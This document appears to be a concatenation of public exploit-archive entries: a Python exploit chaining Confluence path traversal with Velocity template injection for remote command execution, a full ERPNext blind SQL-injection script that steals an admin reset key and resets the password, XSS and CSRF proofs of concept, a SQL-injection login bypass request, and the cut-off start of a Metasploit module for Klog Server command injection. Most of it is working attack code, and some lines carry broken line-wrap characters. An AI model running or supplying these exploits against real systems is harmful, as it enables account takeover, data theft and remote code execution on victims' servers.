        self._target_protocol = "https" if self.script_arguments.tls else "http"
        self._target_host = self.script_arguments.target_host
        self._target_port = self.script_arguments.port if self.script_arguments.port else \
            443 if self.script_arguments.tls else 80

    @staticmethod
    def get_logger(verbosity):
        """
        Prepares logger to output to stdout with appropriate verbosity.
        """
        logger = logging.getLogger()
        # default logging level
        logger.setLevel(logging.DEBUG)

        # Definition of logging to console
        ch = logging.StreamHandler()
        # specific logging level for console
        if verbosity == 0:
            ch.setLevel(logging.INFO)
        elif verbosity > 0:
            ch.setLevel(logging.DEBUG)

        # formatting
        class MyFormatter(logging.Formatter):

            default_fmt = logging.Formatter('[?] %(message)s')
            info_fmt = logging.Formatter('[+] %(message)s')
            error_fmt = logging.Formatter('[-] %(message)s')
            warning_fmt = logging.Formatter('[!] %(message)s')
            debug_fmt = logging.Formatter('>>> %(message)s')

            def format(self, record):
                if record.levelno == logging.INFO:
                    return self.info_fmt.format(record)
                elif record.levelno == logging.ERROR:
                    return self.error_fmt.format(record)
                elif record.levelno == logging.WARNING:
                    return self.warning_fmt.format(record)
                elif record.levelno == logging.DEBUG:
                    return self.debug_fmt.format(record)
                else:
                    return self.default_fmt.format(record)

        ch.setFormatter(MyFormatter())

        # adding handler
        logger.addHandler(ch)

        return logger

    # Properties
    @property
    def endpoint(self):
        if not self._target_protocol or not self._target_host or not self._target_port:
            exit_log(log, "failed to generate endpoint URL")
        return f"{self._target_protocol}://{self._target_host}:{self._target_port}"

    @property
    def remote_path(self):
        return self.script_arguments.path

    @property
    def attachment_dir(self):
        home_dir = self.script_arguments.home_directory if self.script_arguments.home_directory else \
            Exploit.DEFAULT_CONFLUENCE_INSTALL_DIR
        return f"{home_dir}{Exploit.DEFAULT_CONFLUENCE_ATTACHMENT_PATH}"

    @property
    def rce_command(self):
        return self.script_arguments.command

    @property
    def session_cookie(self):
        if not self.script_arguments.cookie:
            return None
        parts = self.script_arguments.cookie.split("=")
        return {
            parts[0]: parts[1]
        }

    @property
    def proxies(self):
        return {
            "http": self._proxy,
            "https": self._proxy
        }


class Exploit:
    """
    This class represents actual exploit towards the target Confluence server.
    """
    # used for both path traversal and RCE
    DEFAULT_VULNERABLE_ENDPOINT = "/rest/tinymce/1/macro/preview"

    # used only for RCE
    CREATE_PERSONAL_SPACE_PATH = "/rest/create-dialog/1.0/space-blueprint/create-personal-space"
    PERSONAL_SPACE_KEY_PATH = "/index.action"
    PERSONAL_SPACE_KEY_REGEX = r"^/spaces/viewspace\.action\?key=(.*?)$"
    PERSONAL_SPACE_ID_PATH = "/rest/api/space"
    PERSONAL_SPACE_KEY_PARAMETER_NAME = "spaceKey"
    HOMEPAGE_REGEX = r"/rest/api/content/([0-9]+)$"
    ATL_TOKEN_PATH = "/pages/viewpageattachments.action"
    FILE_UPLOAD_PATH = "/pages/doattachfile.action"
    # file name has no real significance, file is identified on file system by it's ID
    # (change only if you want to avoid detection)
    DEFAULT_UPLOADED_FILE_NAME = "payload_{}.vm".format(
        ''.join(random.choice(string.ascii_lowercase) for i in range(5))
    )  # the extension .vm is not really needed, remove it if you have problems uploading the template
    DEFAULT_CONFLUENCE_INSTALL_DIR = "/var/atlassian/application-data/confluence"
    DEFAULT_CONFLUENCE_ATTACHMENT_PATH = "/attachments/ver003"
    # using random name for uploaded file so it will always be first version of the file
    DEFAULT_FILE_VERSION = "1"

    def __init__(self, config):
        """
        Runs the exploit towards target_url.
        """
        self._config = config

        self._target_url = f"{self._config.endpoint}{Exploit.DEFAULT_VULNERABLE_ENDPOINT}"

        if self._config.script_arguments.action == "rce":
            self._root_url = f"{self._config.endpoint}/"
            self._create_personal_space_url = f"{self._config.endpoint}{Exploit.CREATE_PERSONAL_SPACE_PATH}"
            self._personal_space_key_url = f"{self._config.endpoint}{Exploit.PERSONAL_SPACE_KEY_PATH}"

            # Following data will be dynamically created while exploit is running
            self._space_key = None
            self._personal_space_id_url = None
            self._space_id = None
            self._homepage_id = None
            self._atl_token_url = None
            self._atl_token = None
            self._upload_url = None
            self._file_id = None

    def generate_payload_location(self):
        """
        Generates location on file system for uploaded attachment based on Confluence Ver003 scheme.

        See more here: https://confluence.atlassian.com/doc/hierarchical-file-system-attachment-storage-704578486.html
        """
        if not self._space_id or not self._homepage_id or not self._file_id:
            exit_log(log, "cannot generate payload location without space, homepage and file ID")

        space_folder_one = str(int(self._space_id[-3:]) % 250)
        space_folder_two = str(int(self._space_id[-6:-3]) % 250)
        space_folder_three = self._space_id
        page_folder_one = str(int(self._homepage_id[-3:]) % 250)
        page_folder_two = str(int(self._homepage_id[-6:-3]) % 250)
        page_folder_three = self._homepage_id
        file_folder = self._file_id
        version = Exploit.DEFAULT_FILE_VERSION

        payload_location = f"{self._config.attachment_dir}/" \
                           f"{space_folder_one}/{space_folder_two}/{space_folder_three}/"\
                           f"{page_folder_one}/{page_folder_two}/{page_folder_three}/" \
                           f"{file_folder}/{version}"
        log.debug(f"generated payload location: {payload_location}")

        return payload_location

    def path_traversal(self, target_remote_path, decode_output=False):
        """
        Uses vulnerability in _template parameter to achieve path traversal.

        Args:
            target_remote_path (string): path on local file system of the target application
            decode_output (bool): set to True if output of the file will be character codes separated by new lines,
                                    used with RCE
        """
        post_data = {
            "contentId": str(random.randint(1, 10000)),
            "macro": {
                "body": "",
                "name": "widget",
                "params": {
                    "_template": f"file://{target_remote_path}",
                    "url": "https://www.youtube.com/watch?v=" + ''.join(random.choice(
                        string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(11))
                }
            }
        }

        log.info("sending request towards vulnerable endpoint with payload in '_template' parameter")
        response = requests.post(
            self._target_url,
            headers={
                "Content-Type": "application/json; charset=utf-8"
            },
            json=post_data,
            proxies=self._config.proxies,
            verify=False,
            allow_redirects=False
        )

        # check if response was proper...
        if not response.status_code == 200:
            log.debug(f"response code: {response.status_code}")
            exit_log(log, "exploit failed")

        page_content = response.content
        # response is HTML
        soup = BeautifulSoup(page_content, features="html.parser")

        # if div element with class widget-error is returned, that means the exploit worked but it failed to retrieve
        # the requested path
        error_element = soup.find_all("div", "widget-error")
        if error_element:
            log.warning("failed to retrieve target path on the system")
            log.warning("target path does not exist or application does not have appropriate permissions to view it")
            return ""
        else:
            # otherwise parse out the actual response (file content or directory listing)
            output_element = soup.find_all("div", "wiki-content")

            if not output_element:
                exit_log(log, "application did not return appropriate HTML element")
            if not len(output_element) == 1:
                log.warning("application unexpectedly returned multiple HTML elements, using the first one")
            output_element = output_element[0]

            log.debug("extracting HTML element value and stripping the leading and trailing spaces")
            # output = output_element.string.strip()
            output = output_element.decode_contents().strip()

            if "The macro 'widget' is unknown. It may have been removed from the system." in output:
                exit_log(log, "widget seems to be disabled on system, target most likely is not vulnerable")

            if not self._config.script_arguments.silent:
                if decode_output:
                    parsed_output = ""
                    p = re.compile(r"^([0-9]+)")
                    for line in output.split("\n"):
                        r = p.match(line)
                        if r:
                            parsed_output += chr(int(r.group(1)))
                    print(parsed_output.strip())
                else:
                    print(output)

            return output

    def find_personal_space_key(self):
        """
        Makes request that will return personal space key in the response.
        """
        log.debug("checking if user has personal space")
        response = requests.get(
            self._root_url,
            cookies=self._config.session_cookie,
            proxies=self._config.proxies,
            verify=False,
        )
        page_content = response.text
        if "Add personal space" in page_content:
            log.info(f"user does not have personal space, creating it now...")

            response = requests.post(
                self._create_personal_space_url,
                headers={
                    "Content-Type": "application/json"
                },
                cookies=self._config.session_cookie,
                proxies=self._config.proxies,
                verify=False,
                json={
                    "spaceUserKey": ""
                }
            )

            if not response.status_code == 200:
                log.debug(f"response code: {response.status_code}")
                exit_log(log, "failed to create personal space")

            log.debug(f"personal space created")
            response_data = response.json()
            self._space_key = response_data.get("key")
        else:
            log.info("sending request to find personal space key")
            response = requests.get(
                self._personal_space_key_url,
                cookies=self._config.session_cookie,
                proxies=self._config.proxies,
                verify=False,
                allow_redirects=False
            )

            # check if response was proper...
            if not response.status_code == 200:
                log.debug(f"response code: {response.status_code}")
                exit_log(log, "failed to get personal space key")

            page_content = response.content
            # response is HTML
            soup = BeautifulSoup(page_content, features="html.parser")

            personal_space_link_element = soup.find("a", id="view-personal-space-link")
            if not personal_space_link_element or not personal_space_link_element.has_attr("href"):
                exit_log(log, "failed to find personal space link in the response, does the user have personal space?")
            path = personal_space_link_element["href"]
            p = re.compile(Exploit.PERSONAL_SPACE_KEY_REGEX)
            r = p.match(path)
            if r:
                self._space_key = r.group(1)
            else:
                exit_log(log, "failed to find personal space key")

        log.debug(f"personal space key: {self._space_key}")
        self._personal_space_id_url = f"{self._config.endpoint}{Exploit.PERSONAL_SPACE_ID_PATH}?" \
                                      f"{Exploit.PERSONAL_SPACE_KEY_PARAMETER_NAME}={self._space_key}"
        log.debug(f"generated personal space id url: {self._personal_space_id_url}")

    def find_personal_space_id_and_homepage_id(self):
        """
        Makes request that will return personal space ID and homepage ID in the response.
        """
        if self._personal_space_id_url is None:
            exit_log(log, f"personal space id url is missing, did you call exploit functions in correct order?")

        log.info("sending request to find personal space ID and homepage")
        response = requests.get(
            self._personal_space_id_url,
            cookies=self._config.session_cookie,
            proxies=self._config.proxies,
            verify=False,
            allow_redirects=False
        )

        # check if response was proper...
        if not response.status_code == 200:
            log.debug(f"response code: {response.status_code}")
            exit_log(log, "failed to get personal space key")

        page_content = response.content
        # response is JSON
        data = json.loads(page_content)

        if "results" not in data:
            exit_log(log, "failed to find 'result' section in json output")
        items = data["results"]
        if type(items) is not list or len(items) == 0:
            exit_log(log, "no results for personal space id")
        personal_space_data = items[0]
        if "id" not in personal_space_data:
            exit_log(log, "failed to find ID in personal space data")
        self._space_id = str(personal_space_data["id"])
        log.debug(f"found space id: {self._space_id}")
        if "_expandable" not in personal_space_data:
            exit_log(log, "failed to find '_expandable' section in personal space data")
        personal_space_expandable_data = personal_space_data["_expandable"]
        if "homepage" not in personal_space_expandable_data:
            exit_log(log, "failed to find homepage in personal space expandable data")
        homepage_path = personal_space_expandable_data["homepage"]
        p = re.compile(Exploit.HOMEPAGE_REGEX)
        r = p.match(homepage_path)
        if r:
            self._homepage_id = r.group(1)
            log.debug(f"found homepage id: {self._homepage_id}")
            self._atl_token_url = f"{self._config.endpoint}{Exploit.ATL_TOKEN_PATH}?pageId={self._homepage_id}"
            log.debug(f"generated atl token url: {self._atl_token_url}")
            self._upload_url = f"{self._config.endpoint}{Exploit.FILE_UPLOAD_PATH}?pageId={self._homepage_id}"
            log.debug(f"generated upload url: {self._upload_url}")
        else:
            exit_log(log, "failed to find homepage id, homepage path has incorrect format")

    def get_csrf_token(self):
        """
        Makes request to get the current CSRF token for the session.
        """
        if self._atl_token_url is None:
            exit_log(log, f"atl token url is missing, did you call exploit functions in correct order?")

        log.info("sending request to find CSRF token")
        response = requests.get(
            self._atl_token_url,
            cookies=self._config.session_cookie,
            proxies=self._config.proxies,
            verify=False,
            allow_redirects=False
        )

        # check if response was proper...
        if not response.status_code == 200:
            log.debug(f"response code: {response.status_code}")
            exit_log(log, "failed to get personal space key")

        page_content = response.content
        # response is HTML
        soup = BeautifulSoup(page_content, features="html.parser")

        atl_token_element = soup.find("input", {"name": "atl_token"})
        if not atl_token_element.has_attr("value"):
            exit_log(log, "failed to find value for atl_token")
        self._atl_token = atl_token_element["value"]
        log.debug(f"found CSRF token: {self._atl_token}")

    def upload_template(self):
        """
        Makes multipart request to upload the template file to the server.
        """
        log.info("uploading template to server")
        if not self._atl_token:
            exit_log(log, "cannot upload a file without CSRF token")
        if self._upload_url is None:
            exit_log(log, f"upload url is missing, did you call exploit functions in correct order?")

        # Velocity template here executes command and then captures the output. Here the output is generated by printing
        # character codes one by one in each line. This can be improved for sure but did not have time to investigate
        # why techniques from James Kettle's awesome research paper 'Server-Side Template Injection:RCE for the modern
        # webapp' was not working properly. This gets decoded on our python client later.
        template = f"""#set( $test = "test" )
#set($ex = $test.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("{self._config.script_arguments.command}"))
#set($exout = $ex.waitFor())
#set($out = $ex.getInputStream())
#foreach($i in [1..$out.available()])
#set($ch = $out.read())
$ch
#end"""

        log.debug(f"uploading template payload under name {Exploit.DEFAULT_UPLOADED_FILE_NAME}")
        parts = {
            "atl_token": (None, self._atl_token),
            "file_0": (Exploit.DEFAULT_UPLOADED_FILE_NAME, template),
            "confirm": "Attach"
        }
        response = requests.post(
            self._upload_url,
            cookies=self._config.session_cookie,
            proxies=self._config.proxies,
            verify=False,
            files=parts
        )

        # for successful upload first a 302 response needs to happen then 200 page is returned with file ID
        if response.status_code == 403:
            exit_log(log, "got 403, probably problem with CSRF token")
        if not len(response.history) == 1 or not response.history[0].status_code == 302:
            exit_log(log, "failed to upload the payload")

        page_content = response.content

        if "Upload Failed" in str(page_content):
            exit_log(log, "failed to upload template")

        # response is HTML
        soup = BeautifulSoup(page_content, features="html.parser")

        file_link_element = soup.find("a", "filename", {"title": Exploit.DEFAULT_UPLOADED_FILE_NAME})
        if not file_link_element.has_attr("data-linked-resource-id"):
            exit_log(log, "failed to find data-linked-resource-id attribute (file ID) for uploaded file link")
        self._file_id = file_link_element["data-linked-resource-id"]
        log.debug(f"found file ID: {self._file_id}")


def exploit_path_traversal(config):
    """
    This sends one request towards vulnerable server to either get local file content or directory listing.
    """
    log.debug("running path traversal exploit")

    exploit = Exploit(config)
    exploit.path_traversal(config.remote_path)


def exploit_rce(config):
    """This executes multiple steps to gain RCE. Requires a session token.

    Steps:
        1. find personal space key for the user
        2. find personal space ID and homepage ID for the user
        3. get CSRF token (generated per session)
        4. upload template file with Java code (involves two requests, first one is 302 redirection)
        5. use path traversal part of exploit to load and execute local template file
        6. profit
    """
    log.debug("running RCE exploit")

    exploit = Exploit(config)
    exploit.find_personal_space_key()
    exploit.find_personal_space_id_and_homepage_id()
    exploit.get_csrf_token()
    exploit.upload_template()
    payload_location = exploit.generate_payload_location()
    exploit.path_traversal(payload_location, decode_output=True)


if __name__ == "__main__":
    # parse arguments and load all configuration items
    script_arguments = parse_arguments()
    log = Configuration.get_logger(script_arguments.verbosity)

    configuration = Configuration(script_arguments)

    # printing banner
    if not configuration.script_arguments.skip_banner:
        print_banner()

    if script_arguments.quiet:
        log.disabled = True

    log.debug("finished parsing CLI arguments")
    log.debug("configuration was loaded successfully")
    log.debug("starting exploit")

    # disabling warning about trusting self sign certificate from python requests
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    # run appropriate function depending on mode
    configuration.script_arguments.func(configuration)

    log.debug("done!")
            
# Exploit Title: ERPNext 12.14.0 - SQL Injection (Authenticated)
# Date: 21-01-21
# Exploit Author: Hodorsec
# Vendor Homepage: http://erpnext.org
# Software Link: https://erpnext.org/download
# Version: 12.14.0
# Tested on: Ubuntu 18.04

#!/usr/bin/python3

# AUTHENTICATED SQL INJECTION VULNERABILITY
# In short:
# Found an authenticated SQL injection when authenticated as a low-privileged user as the parameters "or_filter" and "filters" are not being sanitized sufficiently. Although several sanitation and blacklist attempts are used in the code for other parameters, these parameters aren't checked. This allows, for example, a retrieval of the admin reset token and reset the admin account using a new password as being shown in the PoC.
#
# Longer story:
# Via the "frappe.model.db_query.get_list" CMD method, it's possible to abuse the "or_filters" parameter to successfully exploit a blind time-based SQL injection using an array/list as parameter using '["{QUERY}"]', where {QUERY} is any unfiltered SQL query.
# The "or_filters" parameter is used as part of the SELECT query, along with parameters "fields", "order_by", "group_by" and "limit". When entering any subselect in the "or_filters" or "filters" parameter, no checks are being made if any blacklisted word is being used.
# Initially, the requests where performed using the HTTP POST method which checks for a CSRF token. However, converting the request to an HTTP GET method, the CSRF token isn't required nor checked.
# Test environment:
# Tested against the latest development OVA v12 and updated using 'bench update', which leads to Frappe / ERPNext version v12.14.0.
# Cause:
# In "apps/frappe/frappe/model/db_query.py" the HTTP parameters "filters" and "or_filters" aren't being sanitized sufficiently.

# STEPS NOT INCLUDED IN SCRIPT DUE TO MAILSERVER DEPENDENCY
# 1. Create account
# 1.a. Use update-password link for created user received via mail
# STEPS INCLUDED IN SCRIPT
# 1. Login using existing low-privileged account
# 2. Use SQL Injection vulnerability in "frappe/frappe/nodel/db_query/get_list" function by not sanitizing parameters "filters" and "or_filters" sufficiently
# 3. Retrieve reset key for admin user
# 4. Reset admin account using given password

# DEMONSTRATION
# $ python3 poc_erpnext_12.14.0_auth_sqli_v1.0.py hodorhodor@nowhere.local passpass1234@ admin password123411111 http://192.168.252.8/ 2
# [*] Got an authenticated session, continue to perform SQL injection...
# [*] Retrieving 1 row of data using username 'admin' column 'name' and 'tabUser' as table...
# admin@nowhere.local
# [*] Retrieved value 'admin@nowhere.local' for username 'admin' column 'name' in row 1
# [*] Sent reset request for 'admin@nowhere.local
# [*] Retrieving 1 row of data using username 'admin' column 'reset_password_key' and 'tabUser' as table...
# xPjkMvdbRhdFdBi0l70jYQmTDNj8G9zX
# [*] Retrieved value 'xPjkMvdbRhdFdBi0l70jYQmTDNj8G9zX' for username 'admin' column 'reset_password_key' in row 1
# [+] Retrieved email 'admin@nowhere.local' and reset key 'xPjkMvdbRhdFdBi0l70jYQmTDNj8G9zX'
# [+} RESETTED ACCOUNT 'admin@nowhere.local' WITH NEW PASSWORD 'password123=411111!
# 
# [+] Done!

import requests
import urllib3
import os
import sys
import re

# Optionally, use a proxy
# proxy = "http://<user>:<pass>@<proxy>:<port>"
proxy = ""
os.environ['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.environ['HTTPS_PROXY'] = proxy

# Disable cert warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set timeout
timeout = 30

# Injection prefix and suffix
inj_prefix = "[\"select(sleep("
inj_suffix = "))))\"]"

# Decimal begin and end
dec_begin = 48
dec_end = 57

# ASCII char begin and end
ascii_begin = 32
ascii_end = 126

# Handle CTRL-C
def keyboard_interrupt():
    """Handles keyboardinterrupt exceptions"""
    print("\n\n[*] User requested an interrupt, exiting...")
    exit(0)

# Custom headers
def http_headers():
    headers = {
        'User-Agent': "Mozilla",
    }
    return headers

# Get an authenticated session

def get_session(url,headers,email,password):
    data = {'cmd':'login',
            'usr':email,
            'pwd':password,
            'device':'desktop'}
    session = requests.session()
    r = session.post(url,headers=headers,data=data,timeout=timeout,=
allow_redirects=True,verify=False)
    if "full_name" in r.text:
        return session
    else:
        print("[!] Unable to get an authenticated session, check credentials...")
        exit(-1)

# Perform the SQLi call for injection
def sqli(url,session,headers,inj_str,sleep):
    comment_inj_str = re.sub(" ","+",inj_str)
    inj_params = {'cmd':'frappe.model.db_query.get_list',
                'filters':'["idx=1"]',
                'or_filters':inj_str,
                'fields':'idx',
                'doctype':'Report',
                'order_by':'idx',
                'group_by':'idx'}

    # inj_params[param] = comment_inj_str
    inj_params_unencoded = "&".join("%s=%s" % (k,v) for k,v in inj_para=
ms.items())
   =20
    # Do GET
    r = session.get(url,params=inj_params,headers=headers,timeout=t=
imeout,verify=False)
    res = r.elapsed.total_seconds()
    if res >= sleep:
        return True
    elif res < sleep:
        return False
    else:
        print("[!] Something went wrong checking responses. Check responses manually. Exiting.")
        exit(-1)

# Loop through positions and characters
def get_data(url,session,headers,prefix,suffix,row,column,table,username,sleep):
    extracted = ""
    max_pos_len = 35
    # Loop through length of string
    # Not very efficient, should use a guessing algorithm
    for pos in range(1,max_pos_len):
        # Test if current pos does have any valid value. If not, break
        direction = ">"
        inj_str = prefix + inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " where username = '" + username + "' LIMIT " + str(row) + ",1)," + str(pos) + ",1))" =
+ direction + str(ascii_begin) + ",0," + str(sleep) + inj_suffix + suffix
        if not sqli(url,session,headers,inj_str,sleep):
            break
        # Loop through ASCII printable characters
        direction = "="
        for guess in range(ascii_begin,ascii_end+1):
            extracted_char = chr(guess)
            inj_str = prefix + inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " where username = '" + username + "' LIMIT " + str(row) + ",1)," + str(pos) + ",1))" + direction + str(guess) + ",0," + str(sleep) + inj_suffix + suffix
            if sqli(url,session,headers,inj_str,sleep):
                extracted += chr(guess)
                print(extracted_char,end='',flush=True)
                break
    return extracted


def forgot_password(url,headers,sqli_email):
    data = {'cmd':'frappe.core.doctype.user.user.reset_password',
            'user':sqli_email}
    r = requests.post(url,headers=headers,data=data,verify=False,al=
low_redirects=False,timeout=timeout)
    if "Password reset instructions have been sent to your email" in r.text=
:
        return r

def reset_account(url,headers,sqli_email,sqli_reset_key,new_password):
    data = {'key':sqli_reset_key,
            'old_password':'',
            'new_password':new_password,
            'logout_all_sessions':'0',
            'cmd':'frappe.core.doctype.user.user.update_password'}
    r = requests.post(url,headers=headers,data=data,verify=False,al=
low_redirects=False,timeout=timeout)
    if r.status_code == 200:
        return r

# Main
def main(argv):
    if len(sys.argv) == 7:
        email = sys.argv[1]
        password = sys.argv[2]
        username = sys.argv[3]
        new_password = sys.argv[4]
        url = sys.argv[5]
        sleep = int(sys.argv[6])
    else:
        print("[*] Usage: " + sys.argv[0] + " <email_login> <passw_login> <username_to_reset> <new_password> <url> <sleep_in_seconds>")
        print("[*] Example: " + sys.argv[0] + " hodorhodor@nowhere.local passpass1234@ admin password1234@ http://192.168.252.8/ 2\n")
        exit(0)

    # Random headers
    headers = http_headers()

    # Sleep divide by 2 due to timing caused by specific DBMS query
    sleep = sleep / 2

    # Optional prefix / suffix
    prefix = ""
    suffix = ""

    # Tables / columns / values
    table = 'tabUser'
    columns = ['name','reset_password_key']
    sqli_email = ""
    sqli_reset_key = ""

    # Rows
    rows = 1

    # Do stuff
    try:
        # Get an authenticated session
        session = get_session(url,headers,email,password)
        if session:
            print("[*] Got an authenticated session, continue to perform SQL injection...")
           =20
        # Getting values for found rows in specified columns
        for column in columns:
            print("[*] Retrieving " + str(rows) + " row of data using username '" + username + "' column '" + column + "' and '" + table + "' as table...")
            for row in range(0,rows):
                retrieved = get_data(url,session,headers,prefix,suffix,ro=
w,column,table,username,sleep)
                print("\n[*] Retrieved value '" + retrieved + "' for username '" + username + "' column '" + column + "' in row " + str(row+1))
            if column == 'name':
                sqli_email = retrieved
                # Generate a reset token in database
                if forgot_password(url,headers,sqli_email):
                    print("[*] Sent reset request for '" + sqli_email + "'"=
)
                else:
                    print("[!] Something went wrong sending a reset request, check requests or listening mail server...")
                    exit(-1)
            elif column == 'reset_password_key':
                sqli_reset_key = retrieved

        # Print retrieved values
        print("[+] Retrieved email '" + sqli_email + "' and reset key '" + =
sqli_reset_key + "'")

        # Reset the desired account
        if reset_account(url,headers,sqli_email,sqli_reset_key,new_password=
):
            print("[+} RESETTED ACCOUNT '" + sqli_email + "' WITH NEW PASSWORD '" + new_password + "'")
        else:
            print("[!] Something went wrong when attempting to reset account, check requests: perhaps password not complex enough?")
            exit(-1)
       =20
        # Done
        print("\n[+] Done!\n")
    except requests.exceptions.Timeout:
        print("[!] Timeout error\n")
        exit(-1)
    except requests.exceptions.TooManyRedirects:
        print("[!] Too many redirects\n")
        exit(-1)
    except requests.exceptions.ConnectionError:
        print("[!] Not able to connect to URL\n")
        exit(-1)
    except requests.exceptions.RequestException as e:
        print("[!] " + str(e))
        exit(-1)
    except requests.exceptions.HTTPError as e:
        print("[!] Failed with error code - " + str(e.code) + "\n")
        exit(-1)
    except KeyboardInterrupt:
        keyboard_interrupt()
        exit(-1)

# If we were called as a program, go execute the main function.
if __name__ == "__main__":
    main(sys.argv[1:])
   
# Timeline:
# 22-12-20: Sent initial description and PoC via https://erpnext.com/security
# 08-01-21: No reply nor response received, sent reminder via same form. Sent Twitter notifications.
# 21-01-21: No response received, public disclosure
            
# Exploit Title: MyBB Timeline Plugin 1.0 - Cross-Site Scripting / CSRF
# Date: 1/21/2021
# Author: 0xB9
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1428
# Version: 1.0
# Tested on: Windows 10

1. Description:
MyBB Timeline replaces the default MyBB user profile. This introduces cross-site scripting on user profiles & a CSRF that allows for the users timeline banner/image to be changed.
 

2. Proof of Concept:

~ XSS via Thread/Post ~
- Make a new thread or reply to an existing thread
- Input a payload in either the thread title or main post itself   <script>alert('XSS')</script>
Payload will execute when visiting your profile.

~ XSS via Location/Bio ~
- Go to User CP -> Edit Profile
- Input a payload in the Location/Bio   <script>alert('XSS')</script>
Payload will execute when visiting your profile.

~ CSRF ~
<form class="coverpicForm" action="http://localhost/mybb/timeline.php?action=profile&uid=1" style="display: block;">
	<input type="text" name="coverpic" placeholder="Add Image URL" required="">
	<input type="hidden" name="do_coverpic" value="change">
	<input type="submit" value="Change">
</form>
            
# Exploit Title: CASAP Automated Enrollment System 1.0 - 'route' Stored XSS
# Exploit Author: Richard Jones
# Date: 2021-01/23
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

# Steps to reproduce
# 1. login bypass username: admin, password: `' or 1=1#
# 2. Studants > Edit > "ROUTE" field enter.. "<script>alert(document.cookie)</script>
# Save, reload page, exploited stored XXS


POST /Final/update_student.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 297
Origin: http://TARGET
Connection: close
Referer: http://TARGET/Final/edit_stud.php?id=6
Cookie: PHPSESSID=97qoeda9h6djjis5gbr00p7ndc

student_id=6&status=half&fname=Ronel&mname=G.&lname=Ortega&gender=Male&dob=1999-06-16&address=Prk.1+brgy.banago+bacolod+city&student_class=ICT+-+Computer+Programming&transport=yes&route=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&gfname=Juanita&gmname=S.&glname=a&rship=Mother&tel=0912312445
            
# Exploit Title: CASAP Automated Enrollment System 1.0 - 'First Name' Stored XSS
# Exploit Author: Anita Gaud
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1
# Tested on Windows
# CVE: CVE-2021-3294

*XSS IMPACT:*
1: Steal the cookie
2: User redirection to a malicious website

Vulnerable Parameters: First Name

*Steps to reproduce:*
1: Log in with a valid username and password. Navigate to the Users tab (http://localhost/Final/Final/users.php) on the left-hand side.
2: Add the new user and then add the payload <script>alert(document.cookie)</script>in First Name parameter and click on save button. Post Saved successfully.
3: Now, XSS will get stored and trigger every time and the attacker can steal authenticated users' cookies.
            
# Exploit Title: Cemetry Mapping and Information System 1.0 - 'user_email' Sql Injection (Authentication Bypass)
# Exploit Author: Marco Catalano
# Date: 2021-01-25
# Vendor Homepage: https://www.sourcecodester.com/php/12779/cemetery-mapping-and-information-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12779&title=Cemetery+Mapping+and+Information+System+Using+PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Vulnerable parameter: "user_email" (POST method)
# Tested on: Linux, PHP/7.4.11

Explaination:
The userAuthentication function defined in "/include/accounts.php" implements the following code:

$mydb->setQuery("SELECT * FROM `tbluseraccount` WHERE `U_USERNAME` = '". $U_USERNAME ."' and `U_PASS` = '". $h_pass ."'");

which is called when trying to log into the administrative panel at "/admin/login.php".

Proof Of Concept:

The user input is not properly sanitized and this leads to authentication bypass through the classic "<username>' or '1' = '1 -- -" where <username> has to be a valid username. For example, the default username is "janobe".


POST /admin/login.php?logout=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/admin/login.php?logout=1
Cookie: wp-settings-time-1=1611158502; PHPSESSID=ujhslpm8cg18eeb1jd7nempudj
Upgrade-Insecure-Requests: 1

user_email=janobe%27+or+%271%27+%3D+%271--+-&user_pass=test&btnLogin=
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
                      'Name'           => 'Klog Server Unauthenticated Command Injection Vulnerability',
                      'Description'    => %q{
                        This module exploits an unauthenticated command injection vulnerability in Klog Server <= 2.4.1.
                        "user" parameter is executed via shell_exec() function without input validation.
                      },
                      'License'        => MSF_LICENSE,
                      'Author'         =>
                        [ 'B3KC4T', # Vulnerability discovery
                          'Metin Yunus Kandemir',  # Metasploit module
                        ],
                      'References'     =>
                        [
                          ['CVE', '2020-35729'],
                          ['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection']
                        ],

                      'DefaultOptions' =>
                        {
                          'HttpClientTimeout' => 2,
                        },
                      'Platform'       => [ 'unix', 'linux' ],
                      'Arch'           => [ ARCH_X64 ],
                      'Targets'        => [
                        ['Klog Server 2.4.1 (x64)', {
                          'Platform'    => 'linux',
                          'Arch'        => ARCH_X64,
                        }],
                      ],
                      'Privileged'      => false,
